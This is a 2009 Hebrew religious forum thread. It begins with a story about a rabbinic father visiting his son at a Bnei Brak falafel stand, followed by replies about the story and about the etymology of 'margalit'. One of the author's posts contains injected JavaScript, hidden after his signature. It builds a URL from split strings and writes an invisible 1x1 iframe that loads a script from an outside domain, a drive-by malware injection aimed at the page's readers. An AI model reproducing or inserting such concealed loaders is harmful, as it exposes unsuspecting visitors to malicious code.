| נשלח ב-6/5/2009 08:19 |
 |
| |
גילוי מטפיזי-חסידי בתור לפלאפל (סיפור אמיתי)
יש לפעמים תובנות שמגיעות בהפתעה.
אנו רואים משהו, ופתאום מתברר לנו איזה פרט. הכל כבר נראה אחרת.
הנה סיפור מהחיים.
מעשה במיימוני שהלך עם הילדים לקנות פלאפל. הם עמדו בקצה התור בדיוק כפי שניתן לצפות מהם וחכו בסבלנות. בעוד הילדים מתכננים את הסלטים, מיימוני הסתכל על הצד השני של הדוכן. שם עמלו, בין התנור למלקחים, בחורים יגעים בחולצות טריקו וכיפות שנראו לא קבועות, כלומר חבושות לצורך המקום והשעה וההכשר. וינדנד מיימוני בראשו באנחה על מר גורלו של מי שלא זכה לתורה אלא מקיים בעצמו אדם לעמל יולד. ואף כמעט עמד למלמל לעצמו: אנו משכימים והם משכימים, אלא שזה היה בערב, כאשר פתאום.
הערה: זה הפתאום הראשון ויהיה עוד אחד.
פתאום עקף מישהו, שנראה ממש כמו רב, או לפחות אברך חשוב, שזקנו כבר מאפיר, ונכנס אל מאחורי הדלפק. ודיבר עם הבחורים ואף התלוצץ איתם מעט.
ומיימוני התפלא: גם להידחף וגם לפטפט והכל עבור קצת פלאפל?
אדהכי והכי, כלומר בין כה וכה, התקדם התור, והמוכר המשיך למלא פיתות במטוגן מטוגן הזה. והאיש סיים לשוחח עם הבחורים, ויצא החוצה. ואחד הבחורים מלוה אותו בצאתו.
ואז, פתאום.
הערה שניה: זה הפתאום השני והאחרון.
פתאום פנה הבחור אל האיש ואמר לו:
טוב, להתראות אבא!
ואז פתאום (זה אותו פתאום מקודם) הבין מיימוני מה היה כאן.
האברך היקר, אולי הרב, היה אביו של הבחור שעובד שם. שמוכר פלאפל.
והוא לא נטש את בנו, למרות שבנו ודאי לא השביע את רצונו בעבודה זו. והוא מן הסתם כבר לא בחור ישיבה.
הוא בא לבקרו. משוחח איתו. נכנס איתו למקום שבו עומדים בדרך כלל רק אלו שחשודים כשבאבניקים. מדבר איתו בגובה העינים. מתלוצץ איתו כאחד האנשים שברחוב.
איזה אבא!
איני יודע מה גרם לבן לעזוב את הישיבה. אולי גם האבא היה שותף לזה בהתחלה. אולי הוא לא ידע לתמוך בבן, כפי שקורה לפעמים, ובגלל זה הבן נפל.
אבל גם אם זה היה כך, היום זה אחרת.
אבא לא עוזב את הבן שלו, גם אם הוא נפל. גם אם הוא עובד בעבודה קשה ושאינה נותנת כבוד, בלב בני ברק שבה האב צריך לשמור על "כבודו".
מכאן כבר אפשר לעבור לדרושים מטפיזיים וחסידיים על אבא בשמים שמלוה את הבנים שלו לכל מקום, אבל אני רק באתי לספר סיפור קטן, תמונה מהחיים..
וזה עיקר הסיפור. מה שהיה שם. האב שממשיך לבקר את בנו מוכר הפלאפל. ואוהב אותו. לעיני כל ישראל.
סוף. סוף טוב, הכל טוב, נכון?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-7/5/2009 17:31 |
|
| |
בר בי רב
אשת חייל מי ימצא ורחוק מפנינים מכרה. כל אישה היא מרגלית, פנינה, פערעלע וברילאנט, צריכים רק לגלות אותה.
היא מתגלה רק אם יודעים להעריך אותה, ומתיחסים אליה בהתאם לערכה,
בשבע ברכות- אמרתי לחתן- חתן דומה למלך- אתה יודע כמה זמן יקראו לך מלך?= כל זמן שאשתך- תהיה מלכה..
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-7/5/2009 16:37 |
|
| |
רב מימוני
ולגבי אכילת פלאפל, יש כאלו שמפנקים את הילדים בראש חודש באיזה מעדן מיוחד.
בענין פינוק הילדים- לפני הגיוס הזמין - ברוחב ליבו- אבא פרסי, את בנו המתגייס -למנת אבטיח,- במזנון השכונתי.
כשהבחור השתחרר, לאחר שלש שנים,- עברו שוב ליד המזנון- אמר הבן- אבא! בא לי קולה.
השיב האב,- בני! אתה לא יודע, כי לאחר אכילת אבטיח לא שותים קולה?
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-7/5/2009 16:27 |
|
| |
לבר בי רב
תודה על השם הרביעי שנשמט מזכרוני.
לגבי הקריאה בצענערענע :
פערל -אולי
פנינה מרגלית ומרגרט-הלוואי
תוקן על ידי צענערענע ב- 07/05/2009 16:25:47
|
|
|
|
| נשלח ב-7/5/2009 16:02 |
|
| |
תנא דמסייע לירוחם:
"הם אמרו - תלמידי רבן יוחנן בן
זכאי שלשה שלשה דברים כמה וכמה דברים אמרו אלא ר"ל שהיו רגילין כל אחד לומר
שלשה דברים בכל יום כענין שאמרו (מרגניתא) [מרגלא] בפומיה דרב בדברים הצריכים תדיר" (פ' רבינו יונה על אבות פ"י מ"ב)
<{[(מעניין היה לדעת לטובת אילו סוגריים היתה מכריעה אמשלום )]}>
תוקן על ידי mzohar ב- 07/05/2009 16:00:13
מ. זוהר
|
|
|
|
| נשלח ב-7/5/2009 15:50 |
|
| |
הרב מימוני
הסיפור עם אכילת הפלאפל, היה בעיר הקודש ב"ב תבותבב"א, לפני כ 20 שנה הרב היה מאחד הישיבות החשובות בזמנו,
עד כאן ולא אוסיף. מחשש לה"ר
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-7/5/2009 15:44 |
|
| |
לירוחם
כדבריך, אין במקרא "מרגלית".
אך בחז"ל יש עשרות פעמים את המלה "מרגניתא" בהוראת "מרגלית", ותודה רבה למואדיב על כך שהחכימנו בדרך גלגול המילה היוונית, לעברית ולארמית.
צענערענע
שכחת להוסיף את פעריל, שהיא פנינה באידיש.
הצד השוה בכל 4 הנשים הנזכרות, שכולן קוראות בצענערענע...
תוקן על ידי בר_בי_רב ב- 07/05/2009 15:45:12
|
|
|
|
| נשלח ב-7/5/2009 15:27 |
|
| |
לירוחם
ובזכותך למדנו עוד משהו
מרגלית-פנינה-מרגרט
שלושה שמות נשיים שמשמעותן אחת.
|
|
|
|
| נשלח ב-7/5/2009 15:21 |
|
| |
צבוני, תודה.
(וברוך הבא אל הפורום, אם אתה חדש).
הסיבה שהתעוררתי להגיב היתה שחשתי שבאמת לא הייתי בסדר. אם במעשה, אם בכתיבה, אם במחשבה, אם בהתייחסות.
ועדיין אני בודק את עצמי.
על כל פנים, יש בסיפור זה כמה וכמה תיאורים שאינם לא מאפיינים אותי ביותר ולא משקפים את דעתי בשאלות רבות. כמדומה שאיני היחיד שבדעתו עולות מחשבות שונות בנסיבות כאלו ואחרות, ולאחר רגע הוא שואל את עצמו אם זה באמת משקף את דעתו ומחליט שלא, אלא שהתרגלתי לקו מסויים ולכן צריך מאמץ מודע להתרחק ממנו. מלבד זאת, התיאור של "מיימוני" בהתייחסותו לעובדי כפים בעבודות דחק הוא באמת מוגזם והוא לצורך הסיפור, כאנטיתזה לשינוי התפיסה שבא בסוף. וצדקו כמובן אלו שקבעו שגם ה"הוה אמינא" (=מה שחשבתי בהתחלה) היא פגומה.
על דבר אחד עם זאת אני עומד. בהתחשב במצב שקיים או היה קיים בבני ברק החרדית או של "בני תורה", התייחסות כזו היתה (ואולי עודנה) יוצאת דופן ולכן ראויה לשבח.
לגבי סיום הסיפור, זה היה פשוט משחק מילים על "סוף". כמדומה שזכות ההמצאה של "סוף טוב הכל טוב" היא של שייקספיר.
ולירוחם,איקון ירוק על הציטוט הראוי מאד. כמדומה שבאחת מתגובותי שציטטתי את המקור הזה,ואני יכול להעיד שהוא היה לנגד תודעתי, בזמן הסיפור, בזמן הכתיבה ובכלל. (והוא מלוה אותי כל הזמן, כחלק מעבודה על ענווה, שלא יחזיק אדם עצמו על מתנות שלא עמל עליהן אלא קיבל במתנה).
ולגבי אכילת פלאפל, יש כאלו שמפנקים את הילדים בראש חודש באיזה מעדן מיוחד. ויש בהחלט לפקפק אם ראוי לקבוע סעודת פלאפל ופיצה כמעדן לראש חודש, וגם זה נושא.
אשמח לדעת מי הרב שלקה בגלל שאכל פלאפל. אני איני מכיר את הסיפור הזה.
מעתה נתונה הרשות לפתח את הדיון בכיוונים האפשריים הבאים:
א. היחס לעבודת כפים בציבור החרדי. ובמקורות. והסוציולוגיה החרדית המודרנית והאידיאולוגיה שלה.
ב. סגנונות ספרותיים ומשמעותם האידיאולוגית.
ג. אכילת פלאפל, פיצה ומזון מהיר מוכן כתופעה בבני ברק ובציבור החרדי בכלל והשפעתה בתחום החינוכי.
ואולי עוד?
_תוקן כדי להוסיף עוד כמה הבהרות.
________________
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
תוקן על ידי מיימוני ב- 07/05/2009 15:22:45
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-7/5/2009 15:14 |
|
| |
בר בי רב
ילמדנו רבנו היכן מצאת במקרא- את המילה מרגלית- מתרוגמת? הרד'ק מתרגם את ה- ספיר- למרגלית.
רק תראו - מה למדנו מחצי מנה פלאפל!!! כשמו כן הו פלא-פל(אים)
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-7/5/2009 14:43 |
|
| |
.
למיטב זכרוני החלוד כדבעי, מקור המלה "מרגלית" הוא במלה היוונית לפנינה - מרגריטס.
מכאן גם עבד נוקב מרגליות - מומחה לניקוב פנינים ועשית מחרוזות מהן.
המלה "מרגניתא" היא כבר שיבוש של מרגלית, חילופי נ' ו-ל' מצויים ביותר בעברית ובארמית.
מבחינה לשונית, "מרגלא" זה כפי שנאמר, ואין קשר בין השורש העברי/ארמי רג"ל לבין המלה היוונית שהתגלגלה להיות מרגלית.
|
|
|
|
| נשלח ב-7/5/2009 14:21 |
|
| |
התרגום של מרגלית, הוא מרגניתא.
|
|
|
|
| נשלח ב-7/5/2009 14:19 |
|
| |
בר בי רב
תודה שהוצאת אותי מהסבך שלא היתי בא,.
מרגלא אפשר גם לקרא מרגלית,- נדמה לי שהתרגום הרגיל של מרגלא מארמית, בהחלט יכולה להיות מרגלית.
הדבר מקובל לשבש את המילים ולתת להן משמעות אחרת, אפילו כשזה רחוק יותר ממרגלית למרגלא, כגון- אל תקרי בנייך כי בונייך,
וכ בר בי רב אתה תדע להביא הרבה דוגמאות אחרות,
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-7/5/2009 13:57 |
|
| |
ירוחםשמ
"תרגום חפשי" פי' למשל ,לתרגם 'מרגלית' במקום ,אבן טובה'.
לתרגם 'מרגלית' במקום 'רגילות', זו פשוט טעות.
ומותר להודות בטעות, בפרט בפורום האמון על "יושר אינטלקטואלי".
אבל אני אוציא אותך מן הסבך.
כל מש"כ לעיל, הוא אכן הפירוש הפשוט והמקובל בגמ' , וכפי שמפרש רש"י שם "מרגלא בפומייה" הכוונה שהיה רגיל לומר כך בפיו.
אך בחי' הרמ"ה בסנהדרין , מפרש שהכוונה לשמועה חשובה, מלשון מרגלית.
וכמו שכתבת.
וברוך שכיונת לדעתו הגדולה.
תוקן על ידי בר_בי_רב ב- 07/05/2009 14:06:51
|
|
|
|
|
| נשלח ב-7/5/2009 13:41 |
|
| |
מיימוני,
את סיפורך קראו כמה עשרות אנשים, וכמעט לכל אחד הייתה ביקורת כזו או אחרת.
אינני יודע מדוע חשת צורך להתנצל ולהסביר את עצמך, כוונותיך, מניעיך והשקופתיך.
תמהני עליך, שאחרי שנים כה מרובות בפורום זה, טרם למדת שתגובה שתרגיע את האחד תרתיח את האחר, התנצלות שתמצא חן בעיני פלוני, תיראה כהמשכה של הפגיעה בעיני אלמונית. פרצופיהם של הכותבים כאן אינם שווים (כדמוכח בתמונות מאורי הפורום), ודעותיהם אף שונות עוד יותר.
כתבת סיפור. מטרתך הייתה מה שהייתה, אך הסיפור יעמוד בפני עצמו. איש איש ימצא בו הד וחיזוק למחשבותיו הקדומות. הנח לחברי הפורום למצוא את דעותיהם הקדומות משתקפות במראת סיפורך, ואל תנסה להתנצל, להסביר, לבאר ולפרש. זה לא ישנה מאומה, וזמנך היקר לא ישוב אליך.
|
|
|
|
|
